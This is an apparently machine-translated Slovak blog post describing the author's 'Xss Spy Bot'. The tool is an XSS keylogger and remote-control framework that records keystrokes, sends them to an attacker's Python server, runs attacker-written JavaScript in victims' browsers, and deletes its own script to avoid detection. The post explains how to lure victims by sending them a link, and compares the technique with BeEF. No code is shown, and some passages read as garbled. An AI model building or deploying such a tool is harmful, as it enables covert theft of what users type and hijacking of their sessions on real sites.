Výsledkom bol keylogger, ktorý správne rozpoznal všetky klávesy s číslami, písmenami a základnými znakmi, pracoval na oboch rozloženiach, reagoval na posun a zaznamenával všetky hlavné špeciálne klávesy. Pravda, niektoré znaky (v hornej časti číselného radu, ktoré sa vytlačia pri stlačení shift a čísla) sa môžu na niektorých strojoch líšiť, keďže boli implementované podľa základného štandardu, ktorý niektoré firmy menia.
Klient si ponechá každú časť stlačených znakov, kým textový prvok nestratí zameranie. Ďalej sa táto časť odošle na server, kde sa uloží do textového súboru, ktorý sa bude tiež vytvárať každý deň s novou kópiou, aby sa nezväčšila a vy ste mohli rýchlo nájsť, čo používateľ písal v tom čase.
Okrem samotných kľúčov sa na server s každou časťou odosielajú aj informácie o prvku, do ktorého bol text napísaný (t. j. , [ alebo nejaké keď používateľ použil klávesové skratky), okrem názvu prvku sa odošlú aj jeho základné údaje (id, meno, trieda - ak je prítomná), aby ho bolo možné ľahko nájsť v kóde. A samozrejme sa eviduje adresa stránky, na ktorej bol nábor realizovaný a približný čas tohto náboru. Vo všeobecnosti sa na následnú analýzu odosiela dostatok informácií o klepnutí používateľa na klávesnicu.

Tento proces môže vykonať útočník alebo na strane, kde bude robot spúšťať server, alebo dokonca na diaľku. Po spustení serverového skriptu sa spustí vlastnoručne napísaný miniatúrny webový server, ktorý obsluhuje požiadavky robota a jeho kontrolóra, ktorý pracuje cez webové rozhranie. To znamená, že po spustení webový server vydá odkaz, na ktorý môžete robotovi zadávať príkazy.

O tomto ovládacom paneli. Jednak to bolo potrebné obmedziť heslom (cestu a málokto bude vedieť o spustenej službe na takom a takom porte alebo o adrese, na ktorú sa potrebuje dostať, aby mohol túto službu využívať), aby pri prvom prihlásení server požiada o heslo, ktoré je uvedené v adresnom riadku (uvedieme príklad), pôvodné heslo je uložené v password.txt, ktoré je možné zmeniť. Po prvom prihlásení dá webový server prehliadaču pokyn na uloženie hesla do súboru cookie, takže sa o to už nemusíte starať.

Na samotnej stránke na odosielanie príkazov robotovi sú tiež informácie o stave robota - či je momentálne online alebo offline a niekoľko nastavení, z ktorých prvé je hostiteľ, teda IP. adresu alebo doménu lokality, na ktorú sa budú robotovi odosielať príkazy. Toto je navrhnuté v prípade, že tento robot obsahuje niekoľko stránok, aby ich bolo možné identifikovať. Na serveri sú aj pre tento prípad všetky dáta rozdelené do priečinkov s doménovými názvami.
Ďalej je okno, v ktorom môžete písať príkazy robotovi v JS, a možnosť, ktorá nastavuje, kde sa tento kód JS vykoná, v hlavnom okne, kde robot sedí, alebo v rámci – to sa robí pre pohodlie, pre prípad. .

Ak robot nie je online, server jednoducho uloží príkazy a neskôr, keď sa robot dostane do režimu online, to znamená, že používateľ s ním znova navštívi stránku alebo nasleduje odkaz útočníka, tieto príkazy sa vykonajú.
To je veľmi výhodné, ak pri prvej rekognoskácii robot zahodil všetky stránky navštívené používateľom (napríklad osobný účet), po preštudovaní kódu, ktorého sme napísali príkazy v JS, aby potom bot klikol na odkazy, ktoré sme potrebovali, zadajte potrebné údaje, zobrazte potrebné obrázky atď., čo pomôže dosiahnuť váš cieľ.

Alebo si môžete priamo v reálnom čase rýchlo pozrieť obsah stránok cez kód a dať príkazy robotovi, aby poslal kód iných stránok, prešiel na inú adresu atď. A to všetko sa bude robiť obrazovka“ používateľa, ktorý bude pokojne surfovať po stránke cez rám.

Pre vaše pohodlie môžete najčastejšie používané inštrukcie sformovať do celých funkcií v JS, ktoré sa potom vložia do zdrojového súboru robota ( xsb.js, viac o štruktúre súborov nižšie) a použitie. Alebo použite tie funkcie, ktoré sú súčasťou robota, hoci sú tam len základy a nie je tam nič nové, ale napríklad funkciu odoslania kódu stránky môžete použiť kedykoľvek, a nie pri opätovnom načítaní rámca. Môžete napísať funkciu, ktorá otvorí odkazy, ktoré jej boli odovzdané, v nových rámcoch na pozadí, aby ste si mohli v mene používateľa zobraziť obsah niekoľkých stránok naraz (a ovládať tento obsah jeho virtuálnymi rukami).

Posledná funkcia je implementovaná celkom jednoducho (dá sa vypnúť nastavením požadovanej premennej v súbore, sú zakomentované). Skript sa po nastavení a zavesení všetkých obslužných programov udalostí, vytvorení všetkých premenných a funkcií sám vymaže

Koniec koncov, všetky údaje už boli načítané do RAM cez prehliadač, takže sa nie je čoho obávať, ale to je teoreticky, možno sa neskôr vyskytnú nejaké problémy, ktoré som nezohľadnil, takže som vytvoril premennú ktoré možno v prípade potreby použiť na vypnutie tejto funkcie.

Po odstránení všetkých skriptov bude mimoriadne ťažké všimnúť si XSS, pretože prítomnosť rámca to celkom nepriamo nenaznačuje a samotný kód možno nájsť iba v protokoloch histórie sieťovej prevádzky prehliadača (ktoré sa štandardne neuchovávajú v mnohých prehliadačoch, ak panel vývojára nie je otvorený) .

Pre jednoduchší a pohodlnejší spôsob spustenia bota sa rozhodlo napísať vlastný malý webový server na soketoch, ktorý by obsluhoval bota, zabezpečoval všetky operácie na prijímanie a odosielanie odoslaných dát, prenášal správy medzi útočníkom a botom, a vytvorte webové rozhranie pre útočníka na príkaz .
Server bol napísaný v Pythone, snažil som sa používať iba štandardné knižnice, aby som pred spustením nemusel nič inštalovať. Server tiež sám upravuje niektoré údaje v skriptoch, to znamená, že v skripte JS robota nie je potrebné nastavovať adresu riadiaceho servera, webový server tam sám nastaví požadovanú adresu pri spustení. V konfigurácii servera je len jeden parameter - port, na ktorom sa spustí (predvolená hodnota je 8000).
Po spustení server poskytne všetky potrebné údaje - odkaz na JS skript, ktorý bude potrebné pretiahnuť, odkaz na príkazový panel, alebo skôr odkazy na externé a lokálne adresy, pre pohodlie.

Spustíme server na nejakom nevyžiadanom porte a môžete poslať odkaz so skriptom bota, potom vám každý, kto naň klikne, pošle údaje, ktoré server uloží kedykoľvek počas dňa. Potom ich môžete jednoducho zobraziť, ak je potrebné opustiť tímového robota a pokračovať v jeho vlastnej činnosti.

Priečinok obsahuje nasledujúce súbory:

• xsb.py - hlavný súbor, ktorý implementuje časť servera, aby robot fungoval, spustil ho a potom jednoducho použil odkaz, ktorý ponúka;
• xsb.js - tu je uložený JS kód robota, na ktorý je na začiatku uvedený odkaz na konfiguračné premenné, ktoré je možné zmeniť podľa vlastného uváženia (niektoré, konkrétne hostiteľ a port, server sa nastaví neskôr sám, nemusíte sa o to starať);
• panel.html - odtiaľto server prevezme kód pre ovládací panel robotov, rozhranie môžete upraviť podľa vlastného uváženia;
• password.txt - tu je uložené heslo k ústredni, ktoré je možné zmeniť;
• SavedData je adresár, v ktorom sa vytvoria priečinky s doménami webových stránok, do ktorých sa budú ukladať všetky informácie.

Dovoľte mi znova poznamenať, že v spise xsb.js môžete pridať svoje vlastné funkcie, ktoré potom môžete volať cez panel bez písania veľkých častí kódu;

Po napísaní vlastného vynájdeného spôsobu, ako udržať používateľa na stránke s XSS cez rámce (no, ako vymyslené - osobne som to objavil pre seba, je dosť možné, že niekto iný „vynašiel“ rovnakú techniku ​​pre seba alebo je to už niekde in verejnosť zažiarila, pretože teraz je dosť ťažké vyvinúť niečo skutočne nové a spravidla po určitom čase zistíte, že „toto už bolo v Simpsonovcoch“) som sa začal podrobnejšie zaoberať BeEF a čítal som jeho wiki. Potom som zistil, že tam bola implementovaná iná technika na dosiahnutie rovnakého cieľa – predĺženie času používateľa na stránke pomocou spustiteľného XSS (ktorý nazvali man-in-the-browser). A bolo to implementované takto: všetky odkazy na pôvodnej stránke boli zmenené tak, že po kliknutí na ktorýkoľvek z nich skript stránku znova nenačítal, ale poslal požiadavku na server cez Ajax a vložil údaje dostal v odpovedi, teda dalo by sa povedať umelo aktualizovaný, ktorý bol navyše takmer na nerozoznanie od bežného občerstvenia.

Nebol som preto prvý, komu sa podarilo túto myšlienku zrealizovať (aj keď sa ukázalo, že metódy sú odlišné). Ale obe tieto metódy majú svoje nevýhody:

Metóda načítania cez nefunguje, ak je v odpovedi hlavička X-Frame-Options:DENY, ale inak funguje ako bežné okno prehliadača;

Metóda ajax funguje vždy, ak ju prehliadač podporuje (teraz ju podporujú všetky hlavné prehliadače), ale s novým štandardom Web 2.0 je čoraz viac prechodov spúšťaných vlastnými udalosťami akýchkoľvek prvkov cez JS. Jedného dňa som išiel do Google AdWords a rozhodol som sa zistiť, ako tam interagujú ich HTML a JS, pretože všetky moje pavúky boli extrémne zlé pri vytváraní zadnej mapy tejto služby. A celý večer som potichu šalel z toho, aké je tam všetko nezvyčajné, keď textové prvky boli tlačidlá a prepínače a posuvníky a boli zobrazené so všetkým ostatným a každý mal asi 30 handlerov na rôzne udalosti.

To znamená, že na sofistikovanom webe bude prechodové tlačidlo (subjektívne odkaz) implementované prostredníctvom bežného tagu , ktorý je nabitý štýlmi a ku ktorému sú pripojené obslužné programy udalostí, z ktorých jeden je napr. onclick presmeruje používateľa na inú stránku. Existujú aj štandardné prvky ako [i] alebo on sám atď., čo sú vlastne aj odkazy na iné stránky, na ktoré však BeEF nebude reagovať a stránka sa jednoducho neaktualizuje, keď kliknete na väčšinu tlačidiel a iných prvkov. Čo môže používateľa vyzvať, aby obnovil stránku alebo znova vstúpil z druhej strany, čo ukončí našu aktívnu reláciu XSS.

Pre stručnosť pri pomenovaní súborov som to nazval Xss Spy Bot.

P.S.
Toto celé trvalo napísať niečo vyše mesiaca kvôli pravidelnému nedostatku času a neustálemu rozptyľovaniu. Aj kvôli tomu je kvalita kódu a pravdepodobnosť, že narazíte na nejakú chybu, dosť vysoká. Prosím vás teda, aby ste príliš nenadávali, ale napísali, čo komu je, aby sa to dalo napraviť.
Sám som bota testoval iba na 4 počítačoch, pričom na všetkých bežal Debian.

Dlhodobé plány pre tohto robota, ak existuje motivácia:
— implementovať vykresľovanie kódu stránok, ktoré robot posiela na server, aby sa okamžite otvoril v prehliadači a mohol sa „dotýkať“ a testovať za behu;
— pokúsia sa zachytiť nejaké vychytávky z technológie WebRTC, teda nájsť spôsoby, ako získať nové informácie, ktoré čistý JS nedokáže vydolovať;
— implementovať komunikáciu medzi robotom a serverom pomocou protokolu WebSocket cez HTTP;
— pridať niektoré vymoženosti do ovládacieho panela;

Naposledy aktualizované 18. novembra 2016.